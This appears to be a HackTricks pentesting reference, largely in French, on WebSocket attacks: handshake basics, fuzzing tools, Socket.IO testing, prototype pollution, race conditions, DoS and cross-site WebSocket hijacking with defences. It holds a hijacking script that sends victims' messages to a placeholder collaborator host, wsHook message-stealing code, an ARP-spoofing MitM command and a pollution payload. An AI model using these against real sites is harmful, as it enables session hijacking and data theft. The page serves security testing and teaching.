WebSocket Attacks
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Qu'est-ce que les WebSockets
Les connexions WebSocket sont Ă©tablies via une poignĂ©e de main HTTP initiale et sont conçues pour ĂȘtre longue durĂ©e, permettant l'Ă©change bidirectionnel de messages Ă tout moment sans avoir besoin d'un systĂšme transactionnel. Cela rend les WebSockets particuliĂšrement avantageux pour les applications nĂ©cessitant une faible latence ou une communication initiĂ©e par le serveur, comme les flux de donnĂ©es financiĂšres en direct.
Ătablissement des connexions WebSocket
Une explication détaillée sur l'établissement des connexions WebSocket est disponible here. En résumé, les connexions WebSocket sont généralement initiées via du JavaScript cÎté client comme montré ci-dessous:
var ws = new WebSocket("wss://normal-website.com/ws")
Le protocole wss signifie une connexion WebSocket sécurisée avec TLS, alors que ws indique une connexion non sécurisée.
Lors de l'Ă©tablissement de la connexion, un handshake est effectuĂ© entre le navigateur et le serveur via HTTP. Le processus de handshake implique que le navigateur envoie une requĂȘte et que le serveur rĂ©ponde, comme illustrĂ© dans les exemples suivants :
Le navigateur envoie une requĂȘte de handshake :
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
Réponse de handshake du serveur :
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
La connexion reste ouverte pour l'échange de messages dans les deux sens une fois établie.
Points clés du WebSocket Handshake :
- Les en-tĂȘtes
ConnectionetUpgradesignalent le dĂ©but d'un WebSocket Handshake. - L'en-tĂȘte
Sec-WebSocket-Versionindique la version du protocole WebSocket souhaitĂ©e, gĂ©nĂ©ralement13. - Une valeur alĂ©atoire encodĂ©e en Base64 est envoyĂ©e dans l'en-tĂȘte
Sec-WebSocket-Key, garantissant que chaque handshake est unique, ce qui aide Ă prĂ©venir les problĂšmes avec les proxies de cache. Cette valeur n'est pas utilisĂ©e pour l'authentification mais pour confirmer que la rĂ©ponse n'est pas gĂ©nĂ©rĂ©e par un serveur ou un cache mal configurĂ©. - L'en-tĂȘte
Sec-WebSocket-Acceptdans la réponse du serveur est un hash duSec-WebSocket-Key, vérifiant l'intention du serveur d'ouvrir une connexion WebSocket.
Ces caractéristiques assurent que le processus de handshake est sécurisé et fiable, permettant une communication temps réel efficace.
Console Linux
Vous pouvez utiliser websocat pour établir une connexion bas-niveau avec un WebSocket.
websocat --insecure wss://10.10.10.10:8000 -v
Ou pour créer un serveur websocat :
websocat -s 0.0.0.0:8000 #Listen in port 8000
MitM websocket connexions
Si vous constatez que des clients sont connectés à un HTTP websocket depuis votre réseau local actuel vous pouvez essayer une ARP Spoofing Attack pour effectuer une attaque MitM entre le client et le serveur.
Une fois que le client tente de se connecter Ă vous, vous pouvez alors utiliser:
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
ĂnumĂ©ration des Websockets
Vous pouvez utiliser l'outil https://github.com/PalindromeLabs/STEWS pour découvrir, fingerprint et rechercher automatiquement des vulnérabilités dans les websockets.
Outils de débogage Websocket
- Burp Suite prend en charge les communications MitM websockets d'une maniÚre trÚs similaire à celle utilisée pour les communications HTTP réguliÚres.
- L'socketsleuth extension Burp Suite vous permettra de mieux gérer les communications Websocket dans Burp en récupérant l'historique, en définissant des rÚgles d'interception, en utilisant des rÚgles match and replace, et en utilisant Intruder et AutoRepeater.
- WSSiP: Abréviation de "WebSocket/Socket.io Proxy", cet outil, écrit en Node.js, fournit une interface utilisateur pour capturer, intercepter, envoyer des messages personnalisés et visualiser toutes les communications WebSocket et Socket.IO entre le client et le serveur.
- wsrepl est un REPL websocket interactif conçu spécifiquement pour le pentesting. Il fournit une interface pour observer les messages websocket entrants et en envoyer de nouveaux, avec un framework facile à utiliser pour automatiser cette communication.
- https://websocketking.com/ c'est une application web pour communiquer avec d'autres sites en utilisant des websockets.
- https://hoppscotch.io/realtime/websocket parmi d'autres types de communications/protocoles, fournit une application web pour communiquer avec d'autres sites en utilisant des websockets.
Décryptage Websocket
Websocket Lab
In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.
Websocket Fuzzing
The burp extension Backslash Powered Scanner now allows to fuzz also WebSocket messages. You can read more infromation abou this here.
WebSocket Turbo Intruder (Burp extension)
PortSwigger's WebSocket Turbo Intruder brings Turbo Intruderâstyle Python scripting and highârate fuzzing to WebSockets. Install it from the BApp Store or from source. It includes two components:
- Turbo Intruder: envoi de messages en volume élevé vers un seul endpoint WS en utilisant des moteurs personnalisés.
- HTTP Middleware: expose un endpoint HTTP local qui transfÚre les corps en tant que messages WS sur une connexion persistante, de sorte que tout scanner basé sur HTTP puisse sonder les backends WS.
Basic script pattern to fuzz a WS endpoint and filter relevant responses:
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(upgrade_request)
for i in range(10):
connection.queue(message, str(i))
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@MatchRegex(r'{\"user\":\"Hal Pline\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Utilisez des décorateurs comme @MatchRegex(...) pour réduire le bruit lorsque un seul message déclenche plusieurs réponses.
Faire transiter WS derriĂšre HTTP (HTTP Middleware)
Encapsulez une connexion WS persistante et transmettez les corps HTTP en tant que messages WS pour des tests automatisés avec des scanners HTTP :
def create_connection(upgrade_request):
connection = websocket_connection.create(upgrade_request)
return connection
@MatchRegex(r'{\"user\":\"You\"')
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Ensuite, envoyez HTTP localement ; le corps est transmis comme le message WS :
POST /proxy?url=https%3A%2F%2Ftarget/ws HTTP/1.1
Host: 127.0.0.1:9000
Content-Length: 16
{"message":"hi"}
Cela vous permet de piloter des backends WS tout en filtrant les événements « intéressants » (p. ex., erreurs SQLi, auth bypass, comportement de command injection).
Gestion de Socket.IO (handshake, heartbeats, events)
Socket.IO ajoute son propre framing au-dessus de WS. DĂ©tectez-le via le paramĂštre de requĂȘte obligatoire EIO (p. ex., EIO=4). Maintenez la session vivante avec Ping (2) et Pong (3) et commencez la conversation avec "40", puis Ă©mettez des Ă©vĂ©nements comme 42["message","hello"].
Exemple Intruder:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def queue_websockets(upgrade_request, message):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.queue('42["message","hello"]')
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Variante d'adaptateur HTTP:
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter
def create_connection(upgrade_request):
connection = websocket_connection.create(
upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
connection.queue('40')
connection.decIn()
return connection
@Pong("3")
def handle_outgoing_message(websocket_message):
results_table.add(websocket_message)
@PingPong("2", "3")
def handle_incoming_message(websocket_message):
results_table.add(websocket_message)
Détection de prototype pollution cÎté serveur via Socket.IO
En suivant la technique de détection sûre de PortSwigger, essayez de polluer les internals d'Express en envoyant un payload comme :
{"__proto__":{"initialPacket":"Polluted"}}
Si les greetings ou le comportement changent (par ex., echo inclut "Polluted"), vous avez probablement pollué les prototypes cÎté serveur. L'impact dépend des sinks atteignables ; corrélez avec les gadgets dans la section Node.js prototype pollution. Voir :
- Check NodeJS â proto & prototype Pollution for sinks/gadgets and chaining ideas.
WebSocket race conditions with Turbo Intruder
The default engine batches messages on one connection (great throughput, poor for races). Use the THREADED engine to spawn multiple WS connections and fire payloads in parallel to trigger logic races (doubleâspend, token reuse, state desync). Start from the example script and tune concurrency in config().
- Apprenez la mĂ©thodologie et les alternatives dans Race Condition (voir âRC in WebSocketsâ).
WebSocket DoS: malformed frame âPing of Deathâ
CrĂ©ez des frames WS dont l'enâtĂȘte dĂ©clare une taille de payload Ă©norme mais n'envoyez aucun corps. Certains serveurs WS font confiance Ă la longueur et prĂ©âallouent des buffers ; la fixer proche de Integer.MAX_VALUE peut provoquer un OutâOfâMemory et un DoS distant non authentifiĂ©. Voir le script d'exemple.
CLI and debugging
- Headless fuzzing:
java -jar WebSocketFuzzer-<version>.jar <scriptFile> <requestFile> <endpoint> <baseInput> - Activez le WS Logger pour capturer et corréler les messages en utilisant des IDs internes.
- Utilisez les helpers
inc*/dec*surConnectionpour ajuster la gestion des IDs de message dans des adapters complexes. - Les decorators comme
@PingPong/@Ponget les helpers commeisInteresting()réduisent le bruit et maintiennent les sessions ouvertes.
Operational safety
Le fuzzing WS Ă haut dĂ©bit peut ouvrir de nombreuses connexions et envoyer des milliers de messages par seconde. Les frames malformĂ©s et les taux Ă©levĂ©s peuvent provoquer de vĂ©ritables DoS. N'utilisez ceci que lĂ oĂč c'est autorisĂ©.
Cross-site WebSocket hijacking (CSWSH)
Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, est identifié comme un cas spécifique de Cross-Site Request Forgery (CSRF) affectant les handshakes WebSocket. Cette vulnérabilité survient lorsque les handshakes WebSocket authentifient uniquement via des HTTP cookies sans CSRF tokens ni mesures de sécurité similaires.
Les attaquants peuvent exploiter cela en hébergeant une malicious web page qui initie une connexion cross-site WebSocket vers une application vulnérable. En conséquence, cette connexion est traitée comme faisant partie de la session de la victime avec l'application, exploitant l'absence de protection CSRF dans le mécanisme de gestion de session.
Pour que cette attaque fonctionne, les conditions suivantes doivent ĂȘtre rĂ©unies :
- L'authentification WebSocket doit ĂȘtre basĂ©e sur des cookies
- Le cookie doit ĂȘtre accessible depuis le serveur de l'attaquant (gĂ©nĂ©ralement
SameSite=None) ; il ne doit pas y avoir Firefox Total Cookie Protection activĂ© dans Firefox ni blocked third-party cookies dans Chrome. - Le serveur WebSocket ne doit pas vĂ©rifier l'origine de la connexion (ou cela doit ĂȘtre contournable)
Aussi :
- Si l'authentification est basée sur une connexion locale (vers localhost ou un réseau local), l'attaque sera possible car aucune protection actuelle ne l'interdit (voir more info here)
Attaque simple
Notez que lors de l'établissement d'une connexion websocket, le cookie est envoyé au serveur. Le serveur peut l'utiliser pour associer chaque utilisateur spécifique à sa session websocket basée sur le cookie envoyé.
Ensuite, si par exemple le serveur websocket renvoie l'historique de la conversation d'un utilisateur lorsqu'un message contenant "READY" est envoyé, alors une simple XSS établissant la connexion (le cookie sera envoyé automatiquement pour authentifier l'utilisateur victime) envoyant "READY" pourra récupérer l'historique de la conversation.
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
Cross Origin + Cookie avec un sous-domaine différent
Dans ce billet de blog https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ l'attaquant a rĂ©ussi Ă execute arbitrary Javascript in a subdomain du domaine oĂč la communication du web socket avait lieu. Comme il s'agissait d'un subdomain, le cookie Ă©tait sent, et comme le Websocket didn't check the Origin properly, il a Ă©tĂ© possible de communiquer avec lui et de steal tokens from it.
Voler des données d'un utilisateur
Copiez l'application web que vous voulez usurper (les fichiers .html par exemple) et, dans le script oĂč la communication websocket a lieu, ajoutez ce code :
//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "client_msg?m=" + data, true)
xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest()
xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
xhttp.send()
return messageEvent
}
Téléchargez maintenant le fichier wsHook.js depuis https://github.com/skepticfx/wshook et enregistrez-le dans le dossier contenant les fichiers web.
En exposant l'application web et en faisant en sorte qu'un utilisateur s'y connecte, vous pourrez voler les messages envoyés et reçus via websocket:
sudo python3 -m http.server 80
CSWSH Protections
L'attaque CSWSH repose sur le fait qu'un utilisateur se connectera Ă une page malveillante qui ouvrira une websocket connection vers une page web oĂč l'utilisateur est dĂ©jĂ connectĂ© et s'authentifiera en son nom, car la requĂȘte enverra les cookies de l'utilisateur.
De nos jours, il est trÚs facile de prévenir ce problÚme :
- Websocket server checking the origin: Le serveur websocket devrait toujours vĂ©rifier d'oĂč un user se connecte afin d'empĂȘcher des pages inattendues de se connecter.
- Authentication token: PlutÎt que de baser l'authentification sur un cookie, la connexion websocket pourrait reposer sur un token généré par le serveur pour l'utilisateur et inconnu de l'attaquant (comme un anti-CSRF token)
- SameSite Cookie attribute: Les cookies dont la valeur
SameSiteestLaxouStrictne seront pas envoyĂ©s depuis une page d'attaquant externe vers le serveur victime ; par consĂ©quent, l'authentification basĂ©e sur des cookies Ă©chouera. Notez que Chrome assigne maintenant la valeurLaxaux cookies sans ce flag spĂ©cifiĂ©, rendant cela plus sĂ»r par dĂ©faut. Toutefois, pendant les 2 premiĂšres minutes suivant la crĂ©ation d'un cookie, il aura la valeurNone, le rendant vulnĂ©rable pendant cette pĂ©riode limitĂ©e (il est Ă©galement attendu que cette mesure soit retirĂ©e Ă un certain moment). - Firefox Total Cookie Protection: Total Cookie Protection fonctionne en isolant les cookies au site dans lequel ils sont créés. Essentiellement, chaque site a sa propre partition de stockage de cookies pour empĂȘcher des tiers de corrĂ©ler l'historique de navigation d'un utilisateur. Cela rend CSWSH inutilisable car le site de l'attaquant n'aura pas accĂšs aux cookies.
- Chrome third-party cookies block: Cela peut aussi empĂȘcher l'envoi du cookie de l'utilisateur authentifiĂ© au serveur websocket mĂȘme avec
SameSite=None.
Race Conditions
Race Conditions in WebSockets are also a thing, check this information to learn more.
Other vulnerabilities
Comme les Web Sockets sont un mécanisme pour send data to server side and client side, selon la façon dont le serveur et le client traitent l'information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.
WebSocket Smuggling
This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn't true). This could allow an attacker to access hidden endpoints. For more information check the following page:
References
- https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
- https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/
- WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine
- WebSocket Turbo Intruder â BApp Store
- WebSocketTurboIntruder â GitHub
- Turbo Intruder background
- Server-side prototype pollution â safe detection methods
- WS RaceCondition PoC (Java)
- RaceConditionExample.py
- PingOfDeathExample.py
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks